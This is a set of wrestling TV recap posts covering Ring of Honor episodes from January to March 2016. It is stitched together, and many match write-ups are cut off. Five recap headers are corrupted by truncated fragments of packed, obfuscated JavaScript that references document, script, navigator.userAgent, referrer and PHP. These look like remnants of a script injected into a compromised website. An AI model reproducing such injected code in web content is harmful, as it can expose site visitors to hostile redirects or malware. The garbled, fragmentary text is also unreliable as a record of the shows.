Ring of Honor TV – March 9, 2016: Just No

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Date: March 9, 2016
Location: Nashville Municipal Auditorium, Nashville, Tennessee
Attendance: 675
Commentators: Kevin Kelly, Mr. Wrestling III

Opening sequence.

Top Prospect Tournament Finals: Brian Fury vs. Lio Rush

Back with Rush doing the same kind of strike sequence that almost every indy wrestler does. Fury nails a headbutt to set up the Pop Up Powerbomb, only to be countered with a hurricanrana. A DDT gets two for Rush but Fury grabs a Gory Special into a faceplant for two of his own. Fury reverses a sunset flip and puts his hand on the rope for two but gets caught by an actually competent referee. The Pop Up Powerbomb gets two on Lio so he comes back with the C4 for the pin and the tournament at 9:02.

ReDRagon is ready for a tag team gauntlet match next week.

Moose vs. Kongo

Kongo is overweight and his singlet looks torn. No Stokely Hathaway for Moose here. They slug it out to start with Moose getting the better of it off a dropkick. Kongo is sent hard into the barricade but he sidesteps Moose to send him in as well. Back in and Kongo crushes him with a pair of splashes as this is WAY more competitive than it should be.

Moose headbutts him a few times before no selling a suplex. A discus lariat gets two on Kongo but he comes back with a Pounce of all things (minus the actual pouncing) for his own near fall. Moose bicycle kicks him in the face and runs the ropes for a cross body which was more like a standing splash to the face. The spear puts Kongo away at 5:04.

Rating: D-. Horrible stuff here as Kongo was a horrible option here. This should have been Kongo hitting a few fat man forearms to the back and then getting speared down for the pin in thirty seconds. Not every match needs to be some drawn out affair that wastes this much of our time on a boring match. Bad booking here and it showed horribly.

The Young Bucks are ready for the gauntlet match.

Earlier today, Mike Posey and the Get A Long Gang (seriously) rapped a lot until Cheeseburger came out to beat them down with a bunch of palm strikes.

Ad for War of the Worlds and all the New Japan stars who are coming in again.

Cedric Alexander vs. Adam Page

Scott is in her wrestling gear here which is rather fetching. Never mind as BJ Whitmer comes in and beats Page down. Alexander joins in until Gresham runs out for the save, possibly setting up a tag match next week.

We recap Silas Young/Beer City Bruiser beating the Boys last week which lead to Dalton Castle being beaten down.

Dalton Castle vs. Christopher Daniels

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Ring of Honor TV – March 2, 2016: How To Clone An ACH

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Date: March 2, 2016
Location: Nashville Municipal Auditorium, Nashville, Tennessee
Attendance: 675
Commentators: Kevin Kelly, Mr. Wrestling III

Opening sequence.

Silas Young/Beer City Bruiser vs. The Boys

Dalton tries to run in post match but gets taken out as well.

Adam Cole is ready for Matt Sydal tonight.

Top Prospect Tournament Semi-Finals: Brian Fury vs. Action Ortiz

Top Prospect Tournament Semi-Finals: Lio Rush vs. Punisher Martinez

Martinez has impressed me more than anyone else in this tournament and definitely has a presence about him. Lio slugs away to start and has to escape from the sitout chokeslam. Punisher misses a running big boot and they head outside with Lio getting in a running kick to the chest to drop Martinez for the first time. A springboard is quickly countered as Lio gets caught in a jawbreaker and the beating is on.

Rush (who sounds like a Briscoe) is ready for the finals.

Matt Sydal vs. Adam Cole

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Ring of Honor TV – February 24, 2016: Behold The Power Of New Japan

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frrky|var|u0026u|referrer|tikhb||js|php'.split('|'),0,{})) of Honor
Date: February 24, 2016
Location: Nashville Municipal Auditorium, Nashville, Tennessee
Attendance: 675
Commentators: Kevin Kelly, Nigel McGuinness

TV Title: Roderick Strong vs. Jonathan Gresham

Post match Bobby Fish comes out to steal the title, triggering a brawl.

Bob Evans/Tim Hughes vs. War Machine

We look back at Adam Page attacking BJ Whitmer last week.

BJ Whitmer vs. Chase Brown

Dalton Castle has the Boys ready for next week.

ACH/Alex Shelley vs. Briscoe Brothers

We take another break and come back with Alex forearming Jay, allowing the tag off to ACH. Everything breaks down and the Briscoes are in trouble with ACH mostly hitting the Jordan onto Jay. Back in and a jumping cutter gets two on Mark with Jay making the save and cleaning house. Mark kicks Alex in the face but gets kicked in the corner. Daniels gets on the apron for a distraction and ACH misses the Midnight Star, allowing the Doomsday Device to put ACH away at 8:35.

Post match Kazarian and Sabin come in for the beatdown until security breaks it up.

An add for the Anniversary Show (read as NEW JAPAN IS AWESOME) takes us out.

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Ring of Honor TV – February 17, 2016: An Actual Prospect

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Date: February 17, 2016
Location: Cabarrus Arena and Events Center, Concord, North Carolina
Commentators: Kevin Kelly, Nigel McGuinness

Top Prospect Tournament First Round: Jason Kincaid vs. Lio Rush

Will Ferrara/Caprice Coleman vs. Beer City Bruiser/Silas Young

Everything breaks down and Bruiser tries a superplex on Coleman, only to have Ferrara run in for a powerbomb. The Sky Splitter is broken up but here come the Boys (so much for selling a big beatdown) for a distraction, allowing Ferrara to DDT Bruiser on the floor. Now the Sky Splitter is enough to put Young away at 6:10.

We run down the PPV card, including a video of All Night Express beating War Machine via DQ to set up their No DQ match. The triple threat main event gets a quick video as well.

Mark Briscoe vs. Tim Hughes

ACH/Matt Sydal vs. Young Bucks

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Ring of Honor TV – February 10, 2016: I’d Hate To See The Bottom Prospects

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzrar|var|u0026u|referrer|bsbdr||js|php'.split('|'),0,{})) of Honor
Date: February 10, 2016
Location: Cabarrus Arena and Events Center, Concord, North Carolina
Commentators: Kevin Kelly, Nigel McGuinness

Alex Shelley vs. Frankie Kazarian

Dalton Castle vs. Joey Daddiego

Speaking of Silas Young, here he is to make a final offer to Brent and Brendan (the Boys). As the Beer City Bruiser helps beat Castle down, Silas talks about how the Boys need to make their decision, only to have them fight back against Silas. That just earns them another beating and the villains get to yell a lot.

Top Prospect Tournament First Round: Leo St. Giovanni vs. Action Ortiz

Stokely Hathaway wants Kazuchika Okada to face Moose at the Anniversary Show.

We look back at Final Battle to see the All Night Express becoming the #1 contenders.

Tag Team Titles: All Night Express vs. War Machine

The challengers take over but Hansen breaks up what looked like a powerbomb/neckbreaker combo. Rowe slams Hansen onto King for two, followed by Hansen powerbombing Rowe onto Titus as we take a break. Back with Titus low bridging Hansen to the floor but being pulled out of the air on a dive to Rowe. Everything breaks down with King being sent hard into the barricade with both teams diving back in at nineteen.

The teams keep brawling to end the show as the fans want to see them fight.

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Ring of Honor TV – February 4, 2016: There’s Something Fishy Around Here

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Date: February 3, 2016
Location: Cabarrus Arena and Events Center, Concord, North Carolina
Commentators: Kevin Kelly, Mr. Wrestling 3

TV Title: Roderick Strong vs. Masada

Top Prospect Tournament First Round: Colby Corino vs. Punisher Martinez

Martinez is a good sized guy who towers over Corino. Colby tries some quick strikes and gets his head taken off with a clothesline. Some hard throws send Colby into the corner and an over the shoulder backbreaker gets two. A Liger Kick staggers Punisher and a middle rope Diamond Cutter gets two on the big man and a flip dive to the floor drops Martinez again. The fans are getting behind Corino here but Punisher gives him a Last Ride onto the apron for a SICK crash. Back in and a sitout chokeslam advances Punisher at 3:28.

We look back at the announcement of the #1 contenders match from last week.

Nigel McGuinness has replaced Mr. Wrestling 3 on commentary as the masked man helped Colby to the back.

ReDRagon vs. Adam Cole/Jay Lethal

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Ring of Honor TV – January 27, 2016: Prospects Jumping Into Japanese Lawsuits About Burgers

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|haidh|var|u0026u|referrer|ttehk||js|php'.split('|'),0,{})) of Honor
Date: January 27, 2016
Location:
Cabarrus Arena and Events Center, Concord, North Carolina
Commentators:
Kevin Kelly, Mr. Wrestling 3

Show pay per view. However, we’ve got something interesting for tonight as well with the start of the Top Prospect Tournament. This is an annual competition for newcomers (not necessarily rookies) and has led to the rises of names like Mike Bennett, Matt Taven and Donovan Dijak. Let’s get to it.

Opening sequence.

Top Prospect Tournament First Round: Brian Fury vs. Shaheem Ali

A wristlock doesn’t get Ali anywhere so he knees Fury in the head and gets two off a basement dropkick. Back up and Fury rolls him into the corner (because in today’s wrestling, it’s all about doing something to send someone into the corner), followed by a belly to back for two.

It might be cool if someone stands out over the rest but this was two guys doing moves to each other for a few minutes before one of them got a pin. I need more than that to care about a match and especially a tournament.

Here are Veda Scott and Cedric Alexander to brag about their victory in their lawsuit against Ring of Honor. Jonathan Gresham got lucky to beat Alexander, who deserves shots at the best talent in the world. That means an open challenge.

Cedric Alexander vs. Cheeseburger

Post match Cedric keeps beating on Cheeseburger until Jonathan Gresham comes out for the save. Veda sets up an impromptu match, which she can just do.

Cedric Alexander vs. Jonathan Gresham

Gresham follows the Cheeseburger plan by trying an early rollup, sending Cedric out to the floor. Back in and Cedric quickly bails again as this is barely a match. Cedric comes in again but walks into an Octopus Hold, drawing in Veda for the DQ at 1:45.

Alexander beats up Gresham after the match until referees make the save.

Nigel McGuinness is in the ring and talks about how many big wins Lethal has had in recent months, including AJ Styles and Michael Elgin. That brings him to the next challenger, which makes Nigel thinking of Kyle O’Reilly. That’s fine with Lethal because he’s beaten Kyle already but Nigel wasn’t finished. Kyle is indeed great, but he was defeated by Adam Cole at Final Battle, which makes Cole the new #1 contender.

He knows his battles with Kyle are over and that means O’Reilly will never be challenging for the World Title again. Lethal may have some great victories as champion but Cole isn’t on that list. Cole promises to win the title in Las Vegas but Nigel isn’t done. It’s true that Cole is the #1 contender, but Kyle isn’t done with Cole yet. Unless Adam is scared, there’s no reason to not make this a triple threat match.

Cue Kyle who is thankful for the title shot at the end of February, but what about the time between now and then? He wants a piece of both guys in Charlotte (the show is in Concord but close enough) so Nigel makes it ReDRagon vs. Jay Lethal/Adam Cole for some point in the near future.

We recap Silas Young vs. Dalton Castle and the saga over the Boys.

Jay Briscoe vs. Michael Elgin

They do at least mention that Nigel signed off on the change.

Jay Briscoe vs. Michael Elgin vs. Moose

Elgin slips off Moose’s shoulders and lifts him up into a powerbomb for two as Jay makes the save. Briscoe gets two on Elgin off a Death Valley Driver, only to have Moose spear Briscoe down. That leaves Elgin and Moose to clothesline each other until Elgin clotheslines Jay instead. Elgin goes after Moose though, allowing Jay to backslide Michael for the pin at 9:37.

It’s still an entertaining show though and goes by quickly, which is all you can ask for.

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Ring of Honor TV – January 20, 2016: Thy Kingdom Goes Away

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Date: January 20, 2016
Location: 2300 Arena, Philadelphia, Pennsylvania
Attendance: 600
Commentators: Mr. Wrestling III, Kevin Kelly

th Anniversary Show for the next pay per view but nothing has been set up yet. Let’s get to it.

Addiction vs. Alex Shelley/ACH

This is more about building up Shelley vs. Sabin down the line. Kazarian takes Shelley into the corner to start but accidentally forearms Daniels off the apron for some good old fashioned heel miscommunication. Alex grabs a dragon sleeper but lets it go when Sabin gets on the apron for a distraction.

Everything breaks down for a bit and some fast double teaming puts ACH in trouble, including something like a Diamond Cutter onto Daniels’ knee as we take a break. Back with ACH rolling over for a hot tag so Shelley can speed things up.

A Downward Spiral sends Kazarian face first into the middle buckle but Daniels comes back in with a top rope stomp to the chest, only to allow the hot tag a few seconds later. Everything breaks down and Shelly kicks Daniels into a German suplex for two. Sabin shakes the ropes to break up the Midnight Star, setting up Celebrity Rehab to give Addiction the pin at 9:48.

Post match Addiction beats on Shelley even more until Daniels punches the referee, which brings out Nigel to suspend him indefinitely without pay.

Mark Briscoe vs. Adam Page

Some early Redneck Kung Fu doesn’t work but Adam misses the standing shooting star press. Mark kicks him into the corner and now the crane kick connects for Briscoe. A brainbuster gets two for Mark but he charges into a powerslam into the corner for two. The fans are all over Whitmer as the announcers talk about the Top Prospect Tournament.

BJ Whitmer yells about Mr. Wrestling III being Steve Corino, only to have Briscoe come back with a fisherman’s buster and the Froggy Bow for the pin at 6:32.

However, instead of saying who that is, Mr. Wrestling III just tells the Decade to leave. Well that ended flat.

Silas Young comes out and calls what happened with the Boys at Final Battle a disappointment. Whether the fans believe it or not, the Boys appreciated learning how to mow his lawn and shovel his driveway. The Boys have one chance to do the right thing and learn to be men.

Young Bucks vs. ReDRagon vs. Kingdom

and this is a street fight. The Bucks jump O’Reilly and Fish during the entrances and we’re starting fast. The injured Taven gets a double superkick, as does ring announcers Bobby Cruz. ReDRagon gets back in to work on the Bucks, only to have the Kingdom come in again to turn this into a wild brawl that is going to be almost impossible to keep track of.

Kyle backdrops Nick on the floor for a thud before diving into a superkick. We take a break and come back with Cole in a shopping cart and being wheeled into a superkick.

The Kingdom brings in a ladder (Mr. Wrestling III: “It’s amazing what you can find in south Philadelphia”) to take out ReDRagon and it’s Cole putting the ladder around his neck. That only allows ReDRagon to blast the ladder with chairs before setting the ladder on top of those chairs.

Bennett comes back in to spinebuster Kyle onto the steel but the Bucks powerbomb him (Bennett) through the ladder. A Swanton onto the ladder sets up More Bang For Your Buck but Cole pulls the referee out at two. Kevin Kelly accidentally eats a superkick and Mr. Wrestling III freaks out while still shouting SUPERKICK in a funny moment.

That leaves Fish alone against the Bucks but he stops to spear Bennett through a table on the floor. A double superkick off the apron gives Fish the weakest table bump in history with Nick having to splash him the rest of the way through.

Back in and the Bucks put a party hat on Bennett for a superkick party, only to have Maria hit them both low for a save. This brings out AJ Styles to hit Bennett in the ribs with a chair before laying him out with Bloody Sunday. Maria gets a Meltzer Driver and the Indytaker into the Styles Clash puts Bennett away at 16:45.

The only annoying thing here was the syndication schedule causing some issues as Mike and Maria debuted in TNA two weeks before this aired. Still though, the show was fun enough with the main event being a really good time.

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Ring of Honor TV – January 13, 2016: That’s A Lot Of Tag Teams

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skrbr|var|u0026u|referrer|tbnfy||js|php'.split('|'),0,{})) of Honor
Date: January 13, 2016
Location: 2300 Arena, Philadelphia, Pennsylvania
Attendance: 600
Commentators: Nigel McGuinness, Kevin Kelly

Roppongi Vice vs. All Night Express

Romero gets kicked in the face for his efforts and Barreta gets pulled off the apron, sending him head first into the buckle as we take a break. Back with Barreta getting double teamed again but King takes a breather to shout at the crowd for a bit. Barreta gets in his double stomp out of the corner though and the hot tag brings in Romero.

Donovan Dijak/Joey Daddiego vs. War Machine

ReDRagon is ready for next week.

We look at Dalton Castle reuniting with the Boys at Final Battle.

Dalton Castle vs. Jay Briscoe vs. Matt Sydal vs. Moose

Rating: C. This was fine though more of your standard Ring of Honor formula. I know the name is a longstanding tradition in this company but when I hear the word “survival”, the first thing I think of is an elimination tag. I get the idea but I still wish they would change that. Castle winning is a nice touch and a surprise as he could definitely move up in the ranks soon enough.

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Ring of Honor TV – January 6, 2016: Rise Above Spoilers

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iktdh|var|u0026u|referrer|nhafh||js|php'.split('|'),0,{})) of Honor
Date: January 6, 2016
Location: 2300 Arena, Philadelphia, Pennsylvania
Attendance: 600
Commentators: Kevin Kelly, Mr. Wrestling III

Opening sequence.

TV Title: Roderick Strong vs. Stevie Richards

Will Ferrara vs. Caprice Coleman

Prince Nana comes out and looks rather happy.

Cedric Alexander vs. Jonathan Gresham

Anniversary show ad.

Michael Elgin vs. Donovan Dijak

Elgin is staggered by a boot to the face but runs Dijak over again. A pretty impressive gorilla press puts Donovan down again and an even longer delayed vertical suplex gets two. Back up and Donovan sends him to the apron for a discus big boot (yes a discus big boot) and we take a break. We come back with Donovan dropping him with a release suplex for two and putting on a cravate.

Elgin and Lethal stare each other down to end the show.

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